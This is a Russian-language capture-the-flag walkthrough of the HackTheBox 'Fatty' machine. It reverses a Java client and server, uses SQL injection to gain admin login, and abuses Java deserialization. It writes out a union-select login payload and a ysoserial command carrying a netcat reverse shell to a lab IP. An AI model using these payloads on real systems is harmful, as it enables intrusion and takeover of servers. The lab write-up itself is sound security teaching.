![](https://habrastorage.org/webt/vf/dy/jg/vfdyjg4pf-eunvrt4uksr1ztq4u.png)
Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox.
В данной статье реверсим два Java приложения, при этом изменяем и рекомпилируем клиент, для эксплуатации SQL инъекции при авторизации и выполнения команд на сервере благодаря уязвимости в десериализации Java объекта.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.
Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.174, который я добавляю в /etc/hosts.
10.10.10.174 fatty.htb
Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.174 --rate=500
![](https://habrastorage.org/webt/sk/qe/0g/skqe0gjxofdqpfmxj67iv-ya0i0.png)
Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
nmap -A fatty.htb -p21,22,1337,1338,1339
![](https://habrastorage.org/webt/e0/sh/2v/e0sh2vklz1dldoqoqslen65ll78.png)
По скану nmap видим, что возможен анонимный вход на ftp, при этом там содержится несколько заметок и jar файл. Скачаем все, что там есть.
wget ftp://fatty.htb/*
![](https://habrastorage.org/webt/27/8b/vo/278bvopzihjl__mwk_r4nwogv0o.png)
В первой заметке говорится, что сервер работает на портах 1337, 1338 и 1339, а также, что в клиенте остался порт 8000 и его нужно исправить.
![](https://habrastorage.org/webt/yx/qj/bw/yxqjbwgbmhqsyntgrrshd68idzm.png)
Во второй заметке сказано про статическую компоновку элементов на форме клиента, а также, что клиент работает с Java 8.
![](https://habrastorage.org/webt/su/ef/mb/suefmbrzpzvhowsljoz8pe2uufs.png)
В третьей заметке сказано, что имеются проблемы с безопасностью и предоставлены учетные данные.
![](https://habrastorage.org/webt/s-/x9/mr/s-x9mrpf6qzb9igurlwl08mb3ti.png)
Давайте запустим клиент.
/usr/lib/jvm/java-8-openjdk-amd64/bin/java -jar fatty-client.jar
![](https://habrastorage.org/webt/rv/om/cv/rvomcv8oadp3-gsb2e4uno1icbe.png)
Давайте декомпилируем клиент. Я пользуюсь Intellij IDEA, поэтому установил для него расширение java decompiler. Просто разархивируем jar файл и укажем директорию, как директорию проекта. В файле beans.xml находим параметры подключения.
![](https://habrastorage.org/webt/sb/wh/su/sbwhsui39n0ocjvizgjb8euxadk.png)
Давайте прокинем прокинем локальный порт 8000 на удаленный 1337.
simpleproxy -L 8000 -R fatty.htb:1337
При этом внесем запись в /etc/hosts.
127.0.0.1 server.fatty.htb
Таким образом, весь трафик клиента будет перенаправлен на удаленный хост. Запускаемся и авторизуемся.
![](https://habrastorage.org/webt/io/jy/qn/iojyqnhtz_ci6_7wnw9qyddz6b4.png)
Давайте осмотримся в приложении. Из всего, что есть, следует остановиться на функции получения списка файлов и чтении файлов.
![](https://habrastorage.org/webt/fu/qp/sv/fuqpsvynhxylomqw-kq42havhf0.png)
![](https://habrastorage.org/webt/ut/pn/ye/utpnyech0zr_jussmsu6pav2a1m.png)
Но при попытке прочитать еще какие-нибудь файлы, получаем ошибки.
![](https://habrastorage.org/webt/3g/s2/bs/3gs2bsrfuk1jdgm-c7t5veia0wk.png)
Вопрос только, где стоит фильтр. Предвкушая, что нужно будет патчить код, декомпилируем приложение в jd-gui и сохраняем.
![](https://habrastorage.org/webt/g5/rk/vv/g5rkvvzjegvsrp9n8n9atuuu1ys.png)
Разархивировав, открываем папку как проект в Intellij IDEA.
Java Recompile
Будем рекомпилировать приложение (данные способ работает и для обфусцированных приложений). Теперь давайте выполним настройку среды. Перейдем в File->Project Structure и Project Settings выставим следующие настройки: версию SDK — java8 и директорию, куда будут сохраняться компилированные файлы.
![](https://habrastorage.org/webt/7m/de/qa/7mdeqagvoq-riz3evhgenlmpwqo.png)
Далее переходим в Project Modules и в Sources выбираем интересные нам директории, где содержится основной код.
![](https://habrastorage.org/webt/tw/0e/j_/tw0ej_v6abomsimdruzxw7rws70.png)
А в Dependencies добавим сам jar файл приложения.
![](https://habrastorage.org/webt/8i/3r/ky/8i3rkythmwecqm3hibn5kj7nurm.png)
Как можно заметить пропала единичка рядом с пунктом Problems. Идем дальше. В Run/Debug Configurations добавим Application.
![](https://habrastorage.org/webt/bu/tv/m_/butvm_katydzbcchslyt3_cgjeu.png)
![](https://habrastorage.org/webt/js/0h/d9/js0hd9loum4-ak1rhxtzmr7jyxu.png)
И укажем в качестве Main class класс Starter, так как с него начинается выполнение программы.
![](https://habrastorage.org/webt/4_/-1/y9/4_-1y9fbwfiqh9vx9xsohvjomam.png)
![](https://habrastorage.org/webt/4x/n7/hl/4xn7hl0zbxxlfgqp67zhyzel418.png)
Все готово. Теперь переходим к классу Invoke и ставим точку останова в функции вывода списка файлов, чтобы изменить директорию.
![](https://habrastorage.org/webt/cp/cu/rk/cpcurkbpkfdbdx36cfrgeidc26k.png)
Теперь запускаем отладку останавливаемся в данной точке.
![](https://habrastorage.org/webt/ug/jt/yw/ugjtyw04na_68miye4jtndx6s7a.png)
И меняем значение переменной folder.
![](https://habrastorage.org/webt/wc/k6/aw/wck6awxbqugdj_jp_w0grvfuqby.png)
![](https://habrastorage.org/webt/5l/r1/z8/5lr1z81ze3aa81yil3lgvaxepqu.png)
![](https://habrastorage.org/webt/vt/op/ss/vtopssfrpx9xlggwbcw62xfu5n0.png)
И это сработало. Мы видим список файлов. Давайте узнаем, что в файле start.sh. Для этого найдем функцию чтения файла и поставим в ней точку останова.
![](https://habrastorage.org/webt/ro/kw/eq/rokweqkdv5j2flvtpgjtmswszzk.png)
В приложении откроем этот файл и остановимся на данной точке.
![](https://habrastorage.org/webt/ny/vi/xi/nyviximxf0lg2x6r41k8joktpp0.png)
И изменим значение переменной foldername.
![](https://habrastorage.org/webt/qe/nd/kl/qendklr8l3kr55jlc-quthhgc74.png)
![](https://habrastorage.org/webt/kz/gf/ic/kzgficp2jmeuao7vajochfjjjc8.png)
И успешно читаем данный файл.
![](https://habrastorage.org/webt/xb/ks/ut/xbksut63cgb6wnboxitvo-rkola.png)
Таким образом, данное приложение работает от имени системного пользовательского qtc. Для того, чтобы получить приложение, нужно изменить код. Добавим функцию записи в файл, получим ответ в байтах, закодируем в base64 и передадим данную строку в эту функцию.
![](https://habrastorage.org/webt/1a/6t/ha/1a6tha7x1wovf9flkooiocsnoas.png)
Запросим файл через приложение, остановимся в точке останова и изменим путь.
![](https://habrastorage.org/webt/ed/ax/w5/edaxw5ckaherqmu8j40pjd2nxes.png)
И файл успешно сохранен.
![](https://habrastorage.org/webt/wr/ir/cl/wrirclb-oxx_ky3c8yinf4rbtjg.png)
cat srv.b64 | base64 -d > fatty-server.jar
Server pwning
Открываем серверное приложение в jd-gui. Немного посмотрев код, собираем очень полезную информацию. Например, данные подключения к базе данных.
![](https://habrastorage.org/webt/oj/3l/9g/oj3l9glft2dedzokdyy1ayu41b0.png)
А также запрос к базе данных при авторизации.
![](https://habrastorage.org/webt/ws/-m/6j/ws-m6jomj9avluivwufkjhokbem.png)
Таким образом, для приложения создается пользователь, на основе данных, который будут возвращены из базы.
![](https://habrastorage.org/webt/zw/8h/xp/zw8hxpsnjhbj8-7ldhjex0mq1_q.png)
![](https://habrastorage.org/webt/ch/wd/qr/chwdqrn6grgfs0jxe2gnqcbdsbs.png)
Таким образом, мы можем сделать такой запрос, чтобы был создан известный нам qtc, но уже с правами администратора. Мы знаем его логин и пароль, но из базы нужно будет вернуть хеш. Давайте его рассчитаем:
![](https://habrastorage.org/webt/-m/cr/lc/-mcrlcnnhyqp5plqwbaw8qcnyfy.png)
Нам нужно выполним запрос подобного рода:
SELECT id, username, email, password, role FROM users WHERE username='qwerty' union select 123,'qtc','qtc@fatty.htb','5A67EA356B858A2318017F948BA505FD867AE151D6623EC32BE86E9C688BF046','admin'
Для этого при отладке приложения остановимся в функции логина.
![](https://habrastorage.org/webt/ok/m5/zc/okm5zc6eileji_oc7mazpl4dkpw.png)
И изменим переменную username.
qwerty' union select 123,'qtc','qtc@fatty.htb','5A67EA356B858A2318017F948BA505FD867AE151D6623EC32BE86E9C688BF046','admin
![](https://habrastorage.org/webt/3w/ee/bw/3weebwhxnvvy3p4je_qeqzhg_au.png)
![](https://habrastorage.org/webt/fd/nh/lo/fdnhlojkghzkpde4xidzfsu1ah0.png)
После удачной авторизации посмотрим свои права, мы работаем как администратор.
![](https://habrastorage.org/webt/sp/9f/xr/sp9fxrviktn9phqo6fyfcafnnxw.png)
Для того, чтобы ничего больше не менять при отладке, а постоянно получать административный доступ, даже с пустыми полями, изменим функцию login.
![](https://habrastorage.org/webt/ts/nv/b3/tsnvb3bsipplfgbfgmhrt7pvtoo.png)
Теперь, когда мы разобрались с повышением своих прав, давайте посмотрим новые доступные функции и определимся с дальнейшим вектором атаки. И в коде сервера цепляемся за использование сериализации в функции смены пароля.
![](https://habrastorage.org/webt/bd/nc/cv/bdnccvxvf-5qtuwzbdy9wlv5wq4.png)
Давайте найдем эту функцию в клиентском приложении.
![](https://habrastorage.org/webt/vz/hv/ws/vzhvwsm1rp36bvi5f3hbhqdx0ya.png)
Таким образом, объект User сериализуется, кодируется в base64 и передается серверу, где он декодируется и десериализуется. Так как название функции затемнено, то она нигде не используется. В этом можно убедиться, если попытаться сменить пароль.
![](https://habrastorage.org/webt/sb/lp/bo/sblpboqafgcxve0zmsitjldtuvy.png)
Поставим точку останова внутри функции смены пароля, перед добавлением сериализованного объекта в качестве аргумента.
![](https://habrastorage.org/webt/tg/ez/hp/tgezhplntz39mjdxx6se7wp9wqs.png)
Найдем код, который выполняется при нажатии на кнопку Change.
![](https://habrastorage.org/webt/qw/ju/cl/qwjuclsaaoi7hybxspn3ug6spse.png)
Давайте допишем вызов функции.
![](https://habrastorage.org/webt/15/wj/xd/15wjxdkp6hggae4qpuynznjktla.png)
Чтобы эксплуатировать уязвимость в десериализации данных, можно использовать ysoserial. Сперва определим модуль.
grep -R Invoke .
![](https://habrastorage.org/webt/gj/xw/pv/gjxwpvshlz55csn-ecxggvjlsxs.png)
Таким образом будем использовать CommonsCollections.
/usr/lib/jvm/java-8-openjdk-amd64/bin/java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 'nc 10.10.15.60 4321 -e /bin/sh' | base64 -w0
И полученную нагрузку вставим в измененный код функции смены пароля.
![](https://habrastorage.org/webt/iv/mz/vy/ivmzvywsfua16-0mxx3ueiqfcv4.png)
После выполнения приложения, получаем бэкконнект.
![](https://habrastorage.org/webt/7f/xf/vu/7fxfvubkzvztnnyj8brpl9mm7uq.png)
ROOT
Загружаем один из скриптов перечисления системы, к примеру linpeas. Ничего интересного, кроме того, что мы находимся в докер контейнере, не находим.
![](https://habrastorage.org/webt/_v/vn/kb/_vvnkbxx_azprk793d-oym_7aqc.png)
Так как ничего статического не нашли, давайте запустим pspy и отследим запускающиеся процессы. Но подождав немного времени, ничего интересного не произошло. Тогда я инициировал процесс, запустив клиентское приложение и закрыв его. После закрытия приложения была выполнена команда scp.
![](https://habrastorage.org/webt/qm/qi/qf/qmqiqfzaroxqjmac6lmmfe5km2k.png)
Таким образом, копируется архив с логами. Могу предположить, что еще и распаковывается. Давайте вместе логов, загрузим создадим и упакуем ссылку на файл с ключами ssh.
![](https://habrastorage.org/webt/gd/pv/aw/gdpvaw4foqmzyw4zoysrc31qdkk.png)
Проверим архив.
![](https://habrastorage.org/webt/wq/dn/u5/wqdnu542w5wehgwp3rmdhr1fjpq.png)
Отлично. Теперь откроем приложение, авторизуемся, подменим логи и закроем приложение.
mv my.tar /opt/fatty/tar/logs.tar
Теперь если повторить подобное, то содержимое файла будет записано в authorized_keys. Поэтому генерируем с помощью ssh-keygen пару ключей, вновь проворачиваем трюк с приложением и пишем публичный вместо архива.
![](https://habrastorage.org/webt/45/7e/kg/457ekgcg1fpnt0nrkuukgii5h0a.png)
Теперь можем подключиться по SSH с приватным ключом.
![](https://habrastorage.org/webt/en/vm/pa/envmpavbschvrrz6gxn3jceucti.png)
Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.